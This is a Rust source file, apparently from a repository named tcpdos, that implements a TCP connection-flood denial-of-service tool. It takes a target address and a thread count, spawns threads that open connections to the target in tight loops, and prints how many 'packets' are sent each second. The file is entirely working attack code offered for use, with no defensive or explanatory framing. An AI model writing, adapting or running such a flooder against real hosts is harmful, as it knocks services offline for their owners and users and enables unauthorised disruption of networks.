tcpdos/src/main.rs
2024-06-21 12:19:17 +09:00

60 lines
1.4 KiB
Rust

use std::{
io::{self, Write},
net::{SocketAddr, TcpStream},
sync::atomic::{AtomicU64, Ordering},
sync::Arc,
};
use clap::Parser;
#[derive(Debug, Parser)]
struct Args {
#[clap(default_value = "127.0.0.1:113")]
ip: SocketAddr,
#[clap(default_value = "20")]
threads: u64,
}
fn main() {
let cli = Args::parse();
let threads = cli.threads;
println!("Target: {}", cli.ip);
let send_count = Arc::new(AtomicU64::new(0));
for _ in 0..threads {
let send_count = Arc::clone(&send_count);
std::thread::spawn(move || loop {
match TcpStream::connect_timeout(&cli.ip, std::time::Duration::from_nanos(100)) {
Ok(_) => send_count.fetch_add(1, Ordering::Relaxed),
Err(_) => send_count.fetch_add(1, Ordering::Relaxed),
};
});
}
std::thread::spawn(move || {
let mut last_count = 0;
loop {
let send_count = send_count.load(Ordering::Relaxed);
print!(
"{} Packets sent. {}/sec",
send_count,
send_count - last_count
);
last_count = send_count;
io::stdout().flush().unwrap();
std::thread::sleep(std::time::Duration::from_secs(1));
print!("\r");
}
});
println!("{} Threads created.", threads);
loop {
std::thread::sleep(std::time::Duration::from_secs(1));
}
}